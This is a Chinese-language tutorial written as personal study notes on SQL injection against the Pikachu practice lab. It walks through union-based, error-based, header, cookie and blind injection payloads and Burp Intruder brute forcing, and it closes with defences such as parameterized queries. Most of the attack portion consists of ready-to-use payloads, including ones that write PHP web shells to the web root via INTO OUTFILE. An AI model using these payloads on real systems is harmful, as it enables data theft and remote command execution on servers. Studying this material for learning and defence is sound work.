咳咳,莫名其妙开了个奇怪的章程,这个章程的话主要是从网络安全这一方面开始开始展开的,本文章主要以SQL为基准来进行展开,在SQL这方面如何进行安全学习(反了,差不多是CTF)学习的来源在B站的小黑仔的日记的pikachu靶场 算是我的学习笔记,感谢大家来看!
这是课程目录:
一、基本概念
1、SQL Inject的概念
什么叫做SQL Inject啊?
那 SQLI 的过程到底是什么?
页面是我们的用户端,web-server 你可以想象成论坛之类的东西,Database-Server 你可以理解成论坛的数据库(只能被论坛访问) 那我们SQLI是怎么入侵到数据库的呢?
用户在进行账户登录的时候被要求输入 1 这个内容,但是用户他不同意就进行了非法输入 比如说 1 or 1 = 1这项的内容,由于论坛的登录系统他没有做越界保护,这个非法数据成功的被论坛传送给了数据库,且数据库进行了存储,这时候这个刚好是一个语法,使数据库遍历了数据库的所有内容,并且输出了数据库所有用户的信息,导致了信息泄露。这个过程就是SQLI的入侵。
2、攻击流程
那大概意思了解了,那他的攻击流程是什么呢?
那么常见的注入点呢?
那如何进行判断这些注入点呢?数字型的话主要看的是纯数字,字符型的话由引号来括起来,搜索型就是由百分号括起来。
但是这种分类没有这么绝对,主要是我们在测试是否注入 payload 的时候进行辨别的。
3、三种注入型讲解
①数字型
在了解之前的话可以稍微了解一下数据库语法。首先贴一个菜鸟教程针对MYSQL学习的地址:
https://www.runoob.com/mysql/mysql-where-clause.html
我们不妨的话先了解一下数据库的结构内容:
以pikachu靶场的网站为例子,连接上pikachu数据库后你会发现以表为分类。当你打开表后,里面的内容就很像是一个表格,这个表格就刚好记录着用户的id username password 等信息。
那现在的话我们以命令行的形式来教给大家这一个过程,首先的话我们要看所有的数据库:
show databases;
然后以 pikachu 靶场为例子,先进入到 pikachu 表中。
use pikachu;
然后展示表中的所有内容:
show tables;
查看表格中的字段:
desc member;
然后筛选数据,获得用户ID 1 的数据:
select username,email from member where id=1;
那我们知道着一些条件的话就可以进行数字型的入侵了:
select username,email from member where id=1 or 1=1;
1 = 1 的话条件为真,这样的话就可以直接把数据库直接遍历出来了。
通过 BP 我们就可以直接洗出数据库的内容:
为什么会出现这种漏洞就是因为网站没有对字段进行判断而导致了数据泄露。
②字符型
字符型判断的话我们可以通过从一个网站知道,以 pikachu 为例子:
我们通过查询一个用户名,那网站给我们的反馈是什么?输出了对应的 uid 和 email 字段,那么你可以猜想说我网站也做了一个查询,就上面 select 那一串。
select 字段1,字段2 from 表名 where username='kobe';
那我们现在如果说使用上一步数字型的思想 1=1 肯定是不行的:
select 字段1,字段2 from 表名 where username='kobe or 1=1';
因为整个数据都会被单引号直接处理掉,那我们要怎么进行处理字符型的内容呢?MYSQL的话是可以通过 # 和 — (–后面一个空格)进行处理:
select 字段1,字段2 from 表名 where username='kobe'or 1=1#';
如果接触过编程文本类编辑的同学应该可以看出来 # 是起到了个注释的作用。然后将数据代入后:
吼 数据被遍历出来了:
那为什么会出现这个字符型注入呢?
看到前面的 $_GET[‘name’] 了吗?这个就是直接获取前端传过来的数据,但是在红色框框中他还是直接调用了前端的数据 且 直接使用 单引号直接进行了数据库的查询,我们通过前面数据的拼接的话就可以顺利的偷到了数据库的数据。
③搜索型
搜索型的话就是针对部分字符进行模糊的查找信息,如:
刚好的是 MYSQL 有个语法也是根据某些字段进行模糊搜索的功能:
select * from member where username like '%k%'
然后的话先来看源代码:
还是和前面一样的,没有对前端传输过来的数据进行处理,直接丢进数据库查询了。那么我们应该拿什么语法来骗数据库呢?
select * from member where username like '%k%' or 1=1 #%'
没错就是这一段内容,我们直接丢进搜索框里面。
喏 轻松骗出来了。基本都是没有考虑闭合的情况,后端没有对前端的数据进行处理,直接将前端的数据拼接进了 select 语法当中,而导致了数据的泄露。
④xx型
xx型的话其实和搜索型的话 有点相似,但是他是根据某个条件(比如说我需要 username)来进行完整信息搜索(非模糊)
我们目前输入了一个k 是什么都搜索不出来的,必须写出全名:kobe,那我们如何去构造一个闭合呢?
('xx') or 1=1 #')
然后数据就吐出来了:
也当然了,这些都是一些常见的闭合而已,并不是说每一个每个网站都有这个BUG的,只有经过不断的尝试和测试才能发现其网站的漏洞。其实说研究这四个类型不是为了进行区分,而是为了做出合适的闭合。
⑤基于 union 进行数据查询
这个 union 的话其实你可以这么理解,就是联合查询 一起查询东西(不是筛选搜索的那个意思),看下列例子:
我现在前面是通过关键词 username = ‘kobe’ 来搜索他的 id 和 email,后面的就是通过 id = 1 来搜索他的username 和 pw ,结果出来有两种,第一个就是前面的搜索,第二个就是后面的搜索。但是你带到网站进行实际查询的时候你会发现一个问题,
就是到底有几个字段啊?后面我到底要输入什么啊?啊 这时候就可以给你带来几个数据库的语法:
select id,email from member where username='kobe' order by 1;
看见后面的 order by 1 了吗?那个就代表着主查询有几个字段(就我们语法里面的 id,email 一共两个字段)那如果我操作这个字段了就会报错:
那依照这个逻辑,我们就可以去猜测需要注入的数据库到底有多少个列:
一个一个试试看 你会发现:
他没有第五列哦,所以我们可以一个一个数字来查询(或者用二分法)这个数据库到底有几个列 ,最终我们确定了一共有两个字段。那我们可以继续注入了:
a' union select database(),user()#
然后给大家解释下为什么是 database(),user() 首先的话这两个都是数据库的函数,databse() 用作于 查询数据库的名称,而 user() 就是 查询数据库的用户。同理我们可以将这些函数换成其他的函数,比如说 version() 可以 查看数据库的版本 :
更多的函数可以来看 菜鸟教程:
https://www.runoob.com/mysql/mysql-functions.html
然后这些是补充:
二、手动测试漏洞
这是一个常见的函数报错:
那你是怎么获取到漏洞的?我也进不去他们SQL啊?原因是:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端 比如说:
然后我们对三个常见报错进行描述:
1、updataxml() 函数报错
那如何进行闭合呢?:
kobe' and updatexml(1,version(),0)#
在 updatexml 函数中的话 1 和 0 均为无意义,重要是version() 这个查数据库版本的函数。但是填入网站出现的反馈和我们想象的不一样:
那我们可以用 MySQL 的 concat 这个函数,这个函数的作用就是将两个字符传入进去,出来的结果连接一起的东西 (就是构成一个字符串)比如:
kobe' and updatexml(1,concat(0x7e,version()),0)#
0x7e 这个东西的话只是个十六进制的字符,搞这个是为了防止被吃掉,然后拼接成一个完整的东西,然后数据库的版本就爆出来了:
你也可以把 version 改成其他的 比如说查询 datadase()
但是你会发现报错只能一次显示一行:
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
这都有多行东西了 这种情况怎么办?那我要显示更多的东西才对啊 这时候可以用limit函数了 这样的话可以把表一个一个显示出来
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
第一个表就是 httpinfo 了 那要看更多的东西呢? 0改成 1呗 以此类推,看到更多的表名。获取表明后同理 我们可以去查询列名:
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.columns where table_schema='pikachu' limit 0,1)),0)#
列 表 这些名称知道后我们就可以继续获取用户信息了:
通过 select 来获取 用户名(第一行) 啊 信息啊 之类的东西 知道用户名就可以查询密码了之类的 都是同一个道理。
2、基于 insert update delete 注入
①insert/update
insert的话就是数据库的插入功能,他可以为数据库添加数据什么的
如果我们输入了 单引号 等拼接符号呢?
这样的话你会发现后台参与了拼接,那我们如何进行对 insert 进行拼接,来达成数据库的闭合。
再次之前我们可以先了解一下 insert 这个语法怎么用(菜鸟教程):
INSERT INTO table_name (column1, column2, column3, ...)
VALUES (value1, value2, value3, ...);
table_name
是你要插入数据的表的名称。column1
,column2
,column3
, … 是表中的列名。value1
,value2
,value3
, … 是要插入的具体数值。
比如说:
INSERT INTO users (username, email, birthdate, is_active)
VALUES ('test', 'test@runoob.com', '1990-01-01', true);
username
: 用户名,字符串类型。email
: 邮箱地址,字符串类型。birthdate
: 用户生日, 日期类型。is_active
: 是否已激活,布尔类型。
如果你要插入所有列的数据,可以省略列名:
INSERT INTO users
VALUES (NULL,'test', 'test@runoob.com', '1990-01-01', true);
这里,NULL 是用于自增长列的占位符,表示系统将为 id 列生成一个唯一的值。
那如何形成闭合呢?
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
②delete
这是一个后台对应的源码,反正都是没有对数据进行处理而造成的错误。那就开始实操:
我们先删除一个留言,在BP就看见了个带ID的回复:
那我们可以通过ID 来update试试看(:
1 or updatexml(1,concat(0x7e,database()),0)
在BP的重放器 开搞:
然后在相应库你就会发现已经返回了数据库的名称:
2、extractvalue() 函数
也是根据XML进行的函数,针对指定内容进行查询,那我们看一下怎么操作:
kobe' and extractvalue(0,concat(0x7e,version()))#
我们还是用了 concat 来进行拼接字符串,然后将 version 函数丢进去来查询数据库的版本。实操:
一样的道理
3、floor() 函数
floor什么作用 看下图:
他会显示前面的整数。就是取整,那如果要构成一个报错他必须要有几个条件,一定要有 count 和 group by ,然后运算符一定要有 rand(随机性取值) 整个闭合的结果就是:
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
数据库版本被提出来了,当然 version 也可以变成自己想要的。丢各种七七八八的数据库语法 打进去。搞清楚原理就可以开始搞了。
三、注入漏洞
1、http header注入讲解
什么叫做 http header 注入呢?
大概是什么意思呢 就是你访问一个网站的时候他能够知道:
当你丢请求进行更改的时候会出现:
是的 把那一串东西换成了 单引号 就印出来了 MySQL的错误。闭合怎么写呢?
firefox' or updatexml(1,concat(0x7e,database()),0) or '
哈哈 数据库名被爆出来了:
cookie也能换:
ant[uname]=admin' and updatexml(1,concat(0x7e,database()),0)#
然后数据库名又被爆出来了。
2、盲注
①盲注介绍
什么叫做盲注:
相当于你好像没有辅助 没有任何提示进行的SQL注入。
②两种盲注类型
Ⅰbased boolean
那基于boolean(布尔)呢?
学过编程的可能都知道 布尔类型 主要就是 true 和 false 符合条件就是true 不符合就是false,带入实际就是:
这种东西就是存在不存在的问题,那这种盲注我们只能一个一个尝试,那如果 or 改成 and 呢?
还是可以爆出来信息的,那为什么 or 不行 and 就可以了?or就是逻辑或 只要一个条件成立就可以出来,and是两个条件都要成立才会出现结果。
包括换成我们前面讲的那些都没有用的,那我们就开始讲解其中的逻辑了:
#大家都知道这是选择数据库吧?
select database();
然后给大家介绍一个 语法 substr:
select substr(database(),1,1);
这个语法主要用作于选择字符串 如语法的 1 就是从第一个字符开始索引,第二1就是索取几个字符,最终的输出结果:
同时可以转换成 ASCII 码:
select ascii(substr(database(),1,1));
p的 ASCII码就是 112 ,求出他的 ASCII 的作用能干什么?进行运算
比如说后面补个 >100 如果符合条件输出 1 不符合就是 0。这种办法就是一个字符一个字符来进行猜测,但是有点麻烦了。那你可能会想到:我怎么知道这个字符串到底有多长呢?我们可以用 length 语法:
select length(database());
当然也要通过运算符来一个一个计算 到底有多长。那如何代入闭合呢?:
kobe' and ascii(substr(database(),1,1))>113#
当然他的输出形式并不是为 0 或者 1。首先我们现在用的是 kobe 前面的kobe我可以确定是用户名,and 后面的内容呢?你还记得 and 只要一个条件就不符合吗?倘若我后面的结果是错误的,那肯定找不到用户名了,反正就是对的。
当然你也可以换成其他的 不一定查数据库名称。
Ⅱbase on time
什么叫做 based time啊?
那也不说什么了 直接进入闭合:
kobe' and sleep(5)#
点进去你会发现网页转圈圈转了刚好 5 秒 直接休眠了( 那通过这个东西的话能干什么?直接进行闭合:
kobe' and if((substr(database(),1,1))='a',sleep(5),null)#
这个意思就是 数据库名第一个字符要是为a的话,休眠 5 秒,要是不符合 null 不做反应。
四、案例
1、进行服务器远程控制
一句话木马的内容:
这个就是利用各种语言,提供执行代码的一些函数。这个只是让大家了解概念,那我们怎么通过 SQLI 来注入恶意代码呢?
不过一般数据库都是直接把 secure_file_priv 给关闭的了
本地测试是否打开:
然后我们进行闭合:
kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
其中呢 “<?php @eval($_GET[‘test’])?>” 就是我们第一个字段,2后面的就是第二个字段,第二个字段的意思就是将第一个字段的内容直接写入在 指定路径 的文件中。/var/www/html/ 就是常见的网站服务器的网站路径。还是通过某个查询的入口进入:
网站服务器这边就成功注入了:
然后我们就可以通过网站访问的方式直接查询内容:
这个代码的意思就是由前端传入了 test 的内容到后端执行,执行完后再传入前端
我们可以通过这个连接来执行任何的 php 代码。还有一个可以执行系统命令的函数:
"<?php system($_GET['cmd'])?>"
同样形成闭合:
kobe' union select"<?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/1.php"#
然后再通过网站访问,使用一些系统命令,比如说 Linux 系统的 ls(展示目录下内容):
如图 当前目录的内容都被展示出来了。
2、列(名)的暴力破解
直接上闭合:
kobe' and exists(select * from aa)#
aa 就是表的名称 而* 就是我们要从表中提取的内容。当我们代入 pikachu 的报错:
这个意思就是 pikachu 这个 database 中的 aa 表不存在。同时BP也有反应:
然后我们传到 intruder 中
aa 就是我们需要猜想的表名,我们添加 payload 的位置
你也当然可以搞个字典什么的,那我们就将猜想输入进去:
然后点击开始攻击:
攻击的结果出来了,但是你又不知道谁是真的 又没写出来,这时候你是不是想到了一个东西:
如果数据库表名称错了是不是显示了:doesn’t exist 那我们可以设置匹配正则表达式:
这时候 users 就出来了,他就是正确的表名。你也可以根据BP 返回的内容进行判断要对谁进行爆破。
五、防范措施
注入人家数据库这么多次了,该变成我们防护了吧!那我们要如何防护呢?
1、代码层面
①转义+过滤
这个的话其实就是去除我们前面那些闭合的 单引号 啊 井号啊 之类的,转移成其他的内容。过滤就是直接将这些替换成空。其实这种不是最好的方法,假如以后数据库升级了,多了新的字符可以进行注入,那也不是好事,那最好的办法是什么呢?
②预处理+参数化
这个方法就是通过 PDO 的方式将传入的内容进行预处理(可以看图片解释。)
2、网络层面
①WAF
主要就是 WAF 这层防火墙识别了黑客传送的 payload 然后删除。这是一个动态的过程,当然在代码层面上我们也要跟进。
②云端防护
这个没什么好解释的 就是交给云端提供商来帮你维护。